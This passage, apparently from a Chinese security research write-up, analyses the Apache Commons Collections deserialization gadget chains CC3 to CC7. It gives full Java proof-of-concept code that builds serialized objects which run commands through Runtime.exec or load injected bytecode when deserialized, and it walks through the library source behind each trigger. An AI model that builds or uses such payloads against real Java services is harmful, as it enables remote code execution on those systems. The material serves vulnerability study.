final Class<?> cls = input.getClass();//获取input对象的类,input在利用链中被设置为TemplatesImpl
final Method method = cls.getMethod(iMethodName, iParamTypes);//获得input对象的某个方法,由iMethodName指定,在poc中将iMethodName设置为newTransformer
return (O) method.invoke(input, iArgs);//函数调用,即TemplatesImpl#newTransformer,进入TemplatesImpl的利用流程
}
}
}
|
CommonsCollections3分析
与CC1的利用链类似,主要区别在于ChainedTransformer
所使用的数组不同,同样使用jdk7u80
进行复现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
public class CommonsCollections3 {
public static class AbstractTransletExt extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
public AbstractTransletExt() {
super();
System.out.println("CommonsCollections3");
}
}
public static TemplatesImpl getTemplateImpl() throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTransletExt.class));
CtClass clazz = pool.get(AbstractTransletExt.class.getName());
setFieldValue(obj, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(obj, "_name", "asdf");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templateImpl = getTemplateImpl();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templateImpl }),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, map);
Path path = Paths.get("/tmp/CommonsCollections3.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(handler);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();// 模拟反序列化
}
}
|
TrAXFilter分析
InstantiateTransformer#transform
对TrAXFilter
使用传入的参数进行实例化
TrAXFilter
在实例化时会对传入的templates
调用newTransformer
进行处理,从而实现加载字节码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
//org.apache.commons.collections.functors
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
...
}
Constructor con = ((Class) input).getConstructor(iParamTypes);//获取Constructor对象,input为TrAXFilter
return con.newInstance(iArgs);//对TrAXFilter使用templateImpl进行实例化
}
}
//com.sun.org.apache.xalan.internal.xsltc.trax
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();//进入TemplatesImpl的RCE利用过程
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
|
CommonCollections4分析
与CC3链类似
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public static void main(String[] args) throws Exception {
TemplatesImpl templateImpl = getTemplateImpl();
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class}, new Object[]{""});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, instantiateTransformer});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chainedTransformer));
queue.add(1);
queue.add(1);
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templateImpl});
Path path = Paths.get("CommonsCollections4.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();//模拟反序列化
}
|
通过PriorityQueue#siftDownUsingComparator
调用TransformingComparator#compare
,然后进入到ChainedTransformer#transform
,后续流程与CC3一致
1
2
3
4
5
6
7
8
9
10
11
12
|
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {//被PriorityQueue#siftDownUsingComparator中的comparator.compare调用
final O value1 = this.transformer.transform(obj1);//this.transformer为ChainedTransformer,因此进入ChainedTransformer#transform,后续流程与CC3一致
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
|
CommonsCollections5分析
与CC1类似,但反序列化的入口不同
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/CommonsCollections5"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val,"val",tiedMapEntry);
// setFieldValue(chainedTransformer, "iTransformers", transformers);
Path path = Paths.get("/tmp/CommonsCollections5.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(val);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();//模拟反序列化
}
|
BadAttributeValueExpException分析
通过反射将val
设置为TiedMapEntry
对象,当满足条件System.getSecurityManager() == null
时,调用TiedMapEntry#toString
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//javax.management
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null || ...) {
val = valObj.toString();
}
...
}
|
TiedMapEntry分析
TiedMapEntry
的map
设置为lazyMap
,在toString
方法中通过getValue
调用lazyMap#get
,后续流程与cc1一致
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getKey() {
return key;
}
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
|
CommonsCollections6分析
与CC5类似,但入口点从BadAttributeValueExpException
换成HashSet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/CommonsCollections6"})
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//不是直接使用transformers进行初始化
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
hashMap.clear();
setFieldValue(chainedTransformer, "iTransformers", transformers);
Path path = Paths.get("/tmp/CommonsCollections6.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(hashSet);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();//模拟反序列化
}
|
HashSet分析
反序列化进入HashSet#readObject
,调用HashMap#put
对TiedMapEntry
进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
//java.util.HashSet
private transient HashMap<E,Object> map;
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
...
map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor));
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
//java.util.HashMap
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
|
进入TiedMapEntry#hashCode
,然后通过getValue
方法执行lazyMap#get
,后续流程与CC1一致
1
2
3
4
5
6
7
8
|
//org.apache.commons.collections.keyvalue.TiedMapEntry
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
|
与CC5的不同点
CC5是直接使用Transformer
数组对ChainedTransformer
进行初始化,而CC6先使用空数组初始化,然后通过反射修改ChainedTransformer
中的值
因为hashSet.add(tiedMapEntry);
这一步骤会造成干扰,HashSet#add
同样会调用HashMap#put
,会导致触发Transformer
数组中的命令
同时HashMap#put
会进行putVal
操作,如果不进行hashMap.clear();
会导致在LazyMap#get
方法中不满足map.containsKey(key) == false
条件,导致无法触发命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
//java.util.HashSet
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
//org.apache.commons.collections.map.LazyMap
public Object get(Object key) {
if (map.containsKey(key) == false) {//前提条件,在进行hashSet.add(tiedMapEntry)后会不满足,因此通过hashMap.clear()进行清除
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
CommonsCollections7分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/CommonsCollections7"})
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setFieldValue(chainedTransformer, "iTransformers", transformers);
lazyMap2.remove("yy");
Path path = Paths.get("/tmp/CommonsCollections7.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(hashtable);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();//模拟反序列化
}
|
Hashtable分析
reconstitutionPut
方法是Hashtable#readObject
所使用的put
方法,Hashtable
在哈希表中存储键值对,因此在readObject
恢复哈希表时会对键的hashCode
和key
进行校验
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
//java.util.Hashtable
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
...
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
...
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {//关键逻辑
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
|
(e.hash == hash)
分析
根据payload,Hashtable
的两个键均为LazyMap
类型,首先通过key.hashCode()
计算键的hashCode
即LazyMap#hashCode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{}
public abstract class AbstractMapDecorator implements Map {
protected transient Map map;
public int hashCode() {
return map.hashCode();
}
}
public abstract class AbstractMap<K,V> implements Map<K,V> {
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();//HashMap类型
while (i.hasNext())
h += i.next().hashCode();
return h;
}
}
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
public final int hashCode() {//无法被继承
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
}
|
调用链为LazyMap#hashCode
->AbstractMapDecorator#hashCode
->AbstractMap#hashCode
->HashMap#hashCode
分析得知其哈希值为Objects.hashCode("yy") ^ Objects.hashCode(1) = 3873
和Objects.hashCode("zZ") ^ Objects.hashCode(1) = 3873
e.key.equals(key)
分析
对键进行比较,即调用lazyMap#equals
方法,最终进入HashMap#equals
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{}
public abstract class AbstractMapDecorator implements Map {
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
}
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
public final boolean equals(Object o) {}//无法被继承
}
public abstract class AbstractMap<K,V> implements Map<K,V> {
public boolean equals(Object o) {
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())//关键点
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
...
} else {
if (!value.equals(m.get(key)))
return false;
}
}
}
...
}
}
|
在value.equals(m.get(key))
中,m
为LazyMap
即调用LazyMap#get
,后续流程与cc1一致
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
执行lazyMap2.remove("yy");
的原因
网上很多分析文章都说是要满足LazyMap#get
方法中的map.containsKey(key) == false
判断,因此要进行lazyMap2.remove("yy");
但实际上,在注释lazyMap2.remove("yy");
这行代码后,反序列化链将在AbstractMap#equals
中止,因为不满足if (m.size() != size())
而返回false
m.size() = 2
而size() = 1